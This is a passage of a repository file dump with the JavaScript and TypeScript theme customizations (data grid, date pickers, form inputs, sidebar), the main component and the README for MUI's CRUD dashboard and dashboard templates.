    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/dataGrid.js",
    "content": "import { paperClasses } from '@mui/material/Paper';\nimport { alpha } from '@mui/material/styles';\n\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { listItemIconClasses } from '@mui/material/ListItemIcon';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport { checkboxClasses } from '@mui/material/Checkbox';\nimport { listClasses } from '@mui/material/List';\nimport { gridClasses } from '@mui/x-data-grid';\nimport { tablePaginationClasses } from '@mui/material/TablePagination';\nimport { gray } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const dataGridCustomizations = {\n  MuiDataGrid: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '--DataGrid-overlayHeight': '300px',\n        overflow: 'clip',\n        borderColor: (theme.vars || theme).palette.divider,\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        [`& .${gridClasses.columnHeader}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${gridClasses.footerContainer}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${checkboxClasses.root}`]: {\n          padding: theme.spacing(0.5),\n          '& > svg': {\n            fontSize: '1rem',\n          },\n        },\n        [`& .${tablePaginationClasses.root}`]: {\n          marginRight: theme.spacing(1),\n          '& .MuiIconButton-root': {\n            maxHeight: 32,\n            maxWidth: 32,\n            '& > svg': {\n              fontSize: '1rem',\n            },\n          },\n        },\n      }),\n      cell: ({ theme }) => ({\n        borderTopColor: (theme.vars || theme).palette.divider,\n      }),\n      menu: ({ theme }) => ({\n        borderRadius: theme.shape.borderRadius,\n        backgroundImage: 'none',\n        [`& .${paperClasses.root}`]: {\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n        [`& .${menuItemClasses.root}`]: {\n          margin: '0 4px',\n        },\n        [`& .${listItemIconClasses.root}`]: {\n          marginRight: 0,\n        },\n        [`& .${listClasses.root}`]: {\n          paddingLeft: 0,\n          paddingRight: 0,\n        },\n      }),\n      row: ({ theme }) => ({\n        '&:last-of-type': {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        '&.Mui-selected': {\n          background: (theme.vars || theme).palette.action.selected,\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n        },\n      }),\n      iconButtonContainer: ({ theme }) => ({\n        [`& .${iconButtonClasses.root}`]: {\n          border: 'none',\n          backgroundColor: 'transparent',\n          '&:hover': {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n          '&:active': {\n            backgroundColor: gray[200],\n          },\n          ...theme.applyStyles('dark', {\n            color: gray[50],\n            '&:hover': {\n              backgroundColor: gray[800],\n            },\n            '&:active': {\n              backgroundColor: gray[900],\n            },\n          }),\n        },\n      }),\n      menuIconButton: ({ theme }) => ({\n        border: 'none',\n        backgroundColor: 'transparent',\n        '&:hover': {\n          backgroundColor: gray[100],\n        },\n        '&:active': {\n          backgroundColor: gray[200],\n        },\n        ...theme.applyStyles('dark', {\n          color: gray[50],\n          '&:hover': {\n            backgroundColor: gray[800],\n          },\n          '&:active': {\n            backgroundColor: gray[900],\n          },\n        }),\n      }),\n      filterForm: ({ theme }) => ({\n        gap: theme.spacing(1),\n        alignItems: 'flex-end',\n      }),\n      columnsManagementHeader: ({ theme }) => ({\n        paddingRight: theme.spacing(3),\n        paddingLeft: theme.spacing(3),\n      }),\n      columnHeaderTitleContainer: {\n        flexGrow: 1,\n        justifyContent: 'space-between',\n      },\n      columnHeaderDraggableContainer: { paddingRight: 2 },\n      toolbar: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n      }),\n      toolbarQuickFilter: {\n        [`& .${inputBaseClasses.root}`]: {\n          marginLeft: 6,\n          marginRight: 6,\n        },\n        [`& .${iconButtonClasses.root}`]: {\n          height: '36px',\n          width: '36px',\n        },\n        [`& .${iconButtonClasses.edgeEnd}`]: {\n          border: 'none',\n          height: '28px',\n          width: '28px',\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/dataGrid.ts",
    "content": "import { paperClasses } from '@mui/material/Paper';\nimport { alpha, Theme } from '@mui/material/styles';\nimport type { DataGridProComponents } from '@mui/x-data-grid-pro/themeAugmentation';\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { listItemIconClasses } from '@mui/material/ListItemIcon';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport { checkboxClasses } from '@mui/material/Checkbox';\nimport { listClasses } from '@mui/material/List';\nimport { gridClasses } from '@mui/x-data-grid';\nimport { tablePaginationClasses } from '@mui/material/TablePagination';\nimport { gray } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const dataGridCustomizations: DataGridProComponents<Theme> & DataGridProComponents<Theme> = {\n  MuiDataGrid: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '--DataGrid-overlayHeight': '300px',\n        overflow: 'clip',\n        borderColor: (theme.vars || theme).palette.divider,\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        [`& .${gridClasses.columnHeader}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${gridClasses.footerContainer}`]: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n        [`& .${checkboxClasses.root}`]: {\n          padding: theme.spacing(0.5),\n          '& > svg': {\n            fontSize: '1rem',\n          },\n        },\n        [`& .${tablePaginationClasses.root}`]: {\n          marginRight: theme.spacing(1),\n          '& .MuiIconButton-root': {\n            maxHeight: 32,\n            maxWidth: 32,\n            '& > svg': {\n              fontSize: '1rem',\n            },\n          },\n        },\n      }),\n      cell: ({ theme }) => ({ borderTopColor: (theme.vars || theme).palette.divider }),\n      menu: ({ theme }) => ({\n        borderRadius: theme.shape.borderRadius,\n        backgroundImage: 'none',\n        [`& .${paperClasses.root}`]: {\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        },\n\n        [`& .${menuItemClasses.root}`]: {\n          margin: '0 4px',\n        },\n        [`& .${listItemIconClasses.root}`]: {\n          marginRight: 0,\n        },\n        [`& .${listClasses.root}`]: {\n          paddingLeft: 0,\n          paddingRight: 0,\n        },\n      }),\n\n      row: ({ theme }) => ({\n        '&:last-of-type': { borderBottom: `1px solid ${(theme.vars || theme).palette.divider}` },\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        '&.Mui-selected': {\n          background: (theme.vars || theme).palette.action.selected,\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n        },\n      }),\n      iconButtonContainer: ({ theme }) => ({\n        [`& .${iconButtonClasses.root}`]: {\n          border: 'none',\n          backgroundColor: 'transparent',\n          '&:hover': {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n          '&:active': {\n            backgroundColor: gray[200],\n          },\n          ...theme.applyStyles('dark', {\n            color: gray[50],\n            '&:hover': {\n              backgroundColor: gray[800],\n            },\n            '&:active': {\n              backgroundColor: gray[900],\n            },\n          }),\n        },\n      }),\n      menuIconButton: ({ theme }) => ({\n        border: 'none',\n        backgroundColor: 'transparent',\n        '&:hover': {\n          backgroundColor: gray[100],\n        },\n        '&:active': {\n          backgroundColor: gray[200],\n        },\n        ...theme.applyStyles('dark', {\n          color: gray[50],\n          '&:hover': {\n            backgroundColor: gray[800],\n          },\n          '&:active': {\n            backgroundColor: gray[900],\n          },\n        }),\n      }),\n      filterForm: ({ theme }) => ({\n        gap: theme.spacing(1),\n        alignItems: 'flex-end',\n      }),\n      columnsManagementHeader: ({ theme }) => ({\n        paddingRight: theme.spacing(3),\n        paddingLeft: theme.spacing(3),\n      }),\n      columnHeaderTitleContainer: {\n        flexGrow: 1,\n        justifyContent: 'space-between',\n      },\n      columnHeaderDraggableContainer: { paddingRight: 2 },\n      toolbar: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n      }),\n      toolbarQuickFilter: {\n        [`& .${inputBaseClasses.root}`]: {\n          marginLeft: 6,\n          marginRight: 6,\n        },\n        [`& .${iconButtonClasses.root}`]: {\n          height: '36px',\n          width: '36px',\n        },\n        [`& .${iconButtonClasses.edgeEnd}`]: {\n          border: 'none',\n          height: '28px',\n          width: '28px',\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/datePickers.js",
    "content": "import { alpha } from '@mui/material/styles';\n\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { pickersDayClasses, yearCalendarClasses } from '@mui/x-date-pickers';\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const datePickersCustomizations = {\n  MuiPickerPopper: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        marginTop: 4,\n        borderRadius: theme.shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${menuItemClasses.root}`]: {\n          borderRadius: 6,\n          margin: '0 6px',\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiPickersArrowSwitcher: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiPickersCalendarHeader: {\n    styleOverrides: {\n      switchViewButton: {\n        padding: 0,\n        border: 'none',\n      },\n    },\n  },\n  MuiMonthCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiYearCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        height: 'fit-content',\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiPickersDay: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        marginTop: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${pickersDayClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${pickersDayClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/datePickers.ts",
    "content": "import { alpha, Theme } from '@mui/material/styles';\nimport type { PickersProComponents } from '@mui/x-date-pickers-pro/themeAugmentation';\nimport type { PickerComponents } from '@mui/x-date-pickers/themeAugmentation';\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { pickersDayClasses, yearCalendarClasses } from '@mui/x-date-pickers';\nimport { gray, brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const datePickersCustomizations: PickersProComponents<Theme> & PickerComponents<Theme> = {\n  MuiPickerPopper: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        marginTop: 4,\n        borderRadius: theme.shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${menuItemClasses.root}`]: {\n          borderRadius: 6,\n          margin: '0 6px',\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiPickersArrowSwitcher: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        backgroundColor: 'transparent',\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiPickersCalendarHeader: {\n    styleOverrides: {\n      switchViewButton: {\n        padding: 0,\n        border: 'none',\n      },\n    },\n  },\n  MuiMonthCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiYearCalendar: {\n    styleOverrides: {\n      button: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        height: 'fit-content',\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${yearCalendarClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${yearCalendarClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${yearCalendarClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n  MuiPickersDay: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        fontSize: theme.typography.body1.fontSize,\n        color: (theme.vars || theme).palette.grey[600],\n        padding: theme.spacing(0.5),\n        marginTop: theme.spacing(0.5),\n        borderRadius: theme.shape.borderRadius,\n        '&:hover': {\n          backgroundColor: (theme.vars || theme).palette.action.hover,\n        },\n        [`&.${pickersDayClasses.selected}`]: {\n          backgroundColor: gray[700],\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n        '&:focus': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          backgroundColor: 'transparent',\n          [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[700] },\n        },\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[300],\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.action.hover,\n          },\n          [`&.${pickersDayClasses.selected}`]: {\n            color: (theme.vars || theme).palette.common.black,\n            fontWeight: theme.typography.fontWeightMedium,\n            backgroundColor: gray[300],\n          },\n          '&:focus': {\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n            backgroundColor: 'transparent',\n            [`&.${pickersDayClasses.selected}`]: { backgroundColor: gray[300] },\n          },\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/formInput.js",
    "content": "import { alpha } from '@mui/material/styles';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport { inputLabelClasses } from '@mui/material/InputLabel';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { formHelperTextClasses } from '@mui/material/FormHelperText';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const formInputCustomizations = {\n  MuiFormControl: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${inputBaseClasses.root}`]: {\n          marginTop: 6,\n        },\n        [`& .${inputLabelClasses.root}`]: {\n          transform: 'translate(4px, -11px) scale(0.75)',\n          [`&.${outlinedInputClasses.focused}`]: {\n            transform: 'translate(4px, -12px) scale(0.75)',\n          },\n        },\n        [`& .${formHelperTextClasses.root}`]: {\n          marginLeft: 2,\n        },\n        '& .MuiPickersInputBase-root': {\n          marginTop: 6,\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n          ' .MuiPickersInputBase-sectionsContainer': {\n            padding: '10px 0',\n          },\n          ' .MuiPickersOutlinedInput-notchedOutline': {\n            border: 'none',\n          },\n          [`&.MuiPickersOutlinedInput-root.Mui-focused`]: {\n            border: `1px solid ${(theme.vars || theme).palette.divider}`,\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            borderColor: brand[400],\n            ' .MuiPickersOutlinedInput-notchedOutline': {\n              border: 'none',\n            },\n          },\n          [` .${iconButtonClasses.root}`]: {\n            border: 'none',\n            height: '34px',\n            width: '34px',\n          },\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/formInput.tsx",
    "content": "import { alpha, Theme, Components } from '@mui/material/styles';\nimport { inputBaseClasses } from '@mui/material/InputBase';\nimport { inputLabelClasses } from '@mui/material/InputLabel';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { formHelperTextClasses } from '@mui/material/FormHelperText';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { brand } from '../../../shared-theme/themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const formInputCustomizations: Components<Theme> = {\n  MuiFormControl: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${inputBaseClasses.root}`]: {\n          marginTop: 6,\n        },\n        [`& .${inputLabelClasses.root}`]: {\n          transform: 'translate(4px, -11px) scale(0.75)',\n          [`&.${outlinedInputClasses.focused}`]: {\n            transform: 'translate(4px, -12px) scale(0.75)',\n          },\n        },\n        [`& .${formHelperTextClasses.root}`]: {\n          marginLeft: 2,\n        },\n        '& .MuiPickersInputBase-root': {\n          marginTop: 6,\n          border: `1px solid ${(theme.vars || theme).palette.divider}`,\n          ' .MuiPickersInputBase-sectionsContainer': {\n            padding: '10px 0',\n          },\n          ' .MuiPickersOutlinedInput-notchedOutline': {\n            border: 'none',\n          },\n          [`&.MuiPickersOutlinedInput-root.Mui-focused`]: {\n            border: `1px solid ${(theme.vars || theme).palette.divider}`,\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            borderColor: brand[400],\n            ' .MuiPickersOutlinedInput-notchedOutline': {\n              border: 'none',\n            },\n          },\n          [` .${iconButtonClasses.root}`]: {\n            border: 'none',\n            height: '34px',\n            width: '34px',\n          },\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/index.js",
    "content": "export { dataGridCustomizations } from './dataGrid';\nexport { datePickersCustomizations } from './datePickers';\nexport { formInputCustomizations } from './formInput';\nexport { sidebarCustomizations } from './sidebar';\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/index.ts",
    "content": "export { dataGridCustomizations } from './dataGrid';\nexport { datePickersCustomizations } from './datePickers';\nexport { formInputCustomizations } from './formInput';\nexport { sidebarCustomizations } from './sidebar';\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/sidebar.js",
    "content": "import { listSubheaderClasses } from '@mui/material/ListSubheader';\nimport { listItemButtonClasses } from '@mui/material/ListItemButton';\nimport { typographyClasses } from '@mui/material/Typography';\n\n/* eslint-disable import/prefer-default-export */\nexport const sidebarCustomizations = {\n  MuiDrawer: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${listSubheaderClasses.root}`]: {\n          lineHeight: 3,\n        },\n        [`& .${listItemButtonClasses.root}`]: {\n          '&.Mui-selected': {\n            [`& .${typographyClasses.root}`]: {\n              color: (theme.vars ?? theme).palette.text.primary,\n            },\n          },\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/theme/customizations/sidebar.tsx",
    "content": "import { Theme, Components } from '@mui/material/styles';\nimport { listSubheaderClasses } from '@mui/material/ListSubheader';\nimport { listItemButtonClasses } from '@mui/material/ListItemButton';\nimport { typographyClasses } from '@mui/material/Typography';\n\n/* eslint-disable import/prefer-default-export */\nexport const sidebarCustomizations: Components<Theme> = {\n  MuiDrawer: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        [`& .${listSubheaderClasses.root}`]: {\n          lineHeight: 3,\n        },\n        [`& .${listItemButtonClasses.root}`]: {\n          '&.Mui-selected': {\n            [`& .${typographyClasses.root}`]: {\n              color: (theme.vars ?? theme).palette.text.primary,\n            },\n          },\n        },\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/Dashboard.js",
    "content": "import { alpha } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport AppNavbar from './components/AppNavbar';\nimport Header from './components/Header';\nimport MainGrid from './components/MainGrid';\nimport SideMenu from './components/SideMenu';\nimport AppTheme from '../shared-theme/AppTheme';\nimport {\n  chartsCustomizations,\n  dataGridCustomizations,\n  datePickersCustomizations,\n  treeViewCustomizations,\n} from './theme/customizations';\n\nconst xThemeComponents = {\n  ...chartsCustomizations,\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...treeViewCustomizations,\n};\n\nexport default function Dashboard(props) {\n  return (\n    <AppTheme {...props} themeComponents={xThemeComponents}>\n      <CssBaseline enableColorScheme />\n      <Box sx={{ display: 'flex' }}>\n        <SideMenu />\n        <AppNavbar />\n        {/* Main content */}\n        <Box\n          component=\"main\"\n          sx={(theme) => ({\n            flexGrow: 1,\n            backgroundColor: theme.vars\n              ? `rgba(${theme.vars.palette.background.defaultChannel} / 1)`\n              : alpha(theme.palette.background.default, 1),\n            overflow: 'auto',\n          })}\n        >\n          <Stack\n            spacing={2}\n            sx={{\n              alignItems: 'center',\n              mx: 3,\n              pb: 5,\n              mt: { xs: 8, md: 0 },\n            }}\n          >\n            <Header />\n            <MainGrid />\n          </Stack>\n        </Box>\n      </Box>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/Dashboard.tsx",
    "content": "import type {} from '@mui/x-date-pickers/themeAugmentation';\nimport type {} from '@mui/x-charts/themeAugmentation';\nimport type {} from '@mui/x-data-grid-pro/themeAugmentation';\nimport type {} from '@mui/x-tree-view/themeAugmentation';\nimport { alpha } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport AppNavbar from './components/AppNavbar';\nimport Header from './components/Header';\nimport MainGrid from './components/MainGrid';\nimport SideMenu from './components/SideMenu';\nimport AppTheme from '../shared-theme/AppTheme';\nimport {\n  chartsCustomizations,\n  dataGridCustomizations,\n  datePickersCustomizations,\n  treeViewCustomizations,\n} from './theme/customizations';\n\nconst xThemeComponents = {\n  ...chartsCustomizations,\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...treeViewCustomizations,\n};\n\nexport default function Dashboard(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props} themeComponents={xThemeComponents}>\n      <CssBaseline enableColorScheme />\n      <Box sx={{ display: 'flex' }}>\n        <SideMenu />\n        <AppNavbar />\n        {/* Main content */}\n        <Box\n          component=\"main\"\n          sx={(theme) => ({\n            flexGrow: 1,\n            backgroundColor: theme.vars\n              ? `rgba(${theme.vars.palette.background.defaultChannel} / 1)`\n              : alpha(theme.palette.background.default, 1),\n            overflow: 'auto',\n          })}\n        >\n          <Stack\n            spacing={2}\n            sx={{\n              alignItems: 'center',\n              mx: 3,\n              pb: 5,\n              mt: { xs: 8, md: 0 },\n            }}\n          >\n            <Header />\n            <MainGrid />\n          </Stack>\n        </Box>\n      </Box>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/README.md",
    "content": "# Dashboard template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`dashboard` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react, @mui/x-charts, @mui/x-date-pickers, @mui/x-data-grid, @mui/x-tree-view, dayjs\n3. Import and use the `Dashboard` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/dashboard/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/Title.tsx.preview",
    "content": "<Typography component=\"h2\" variant=\"h6\" color=\"primary\" gutterBottom>\n  {props.children}\n</Typography>"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/AppNavbar.js",
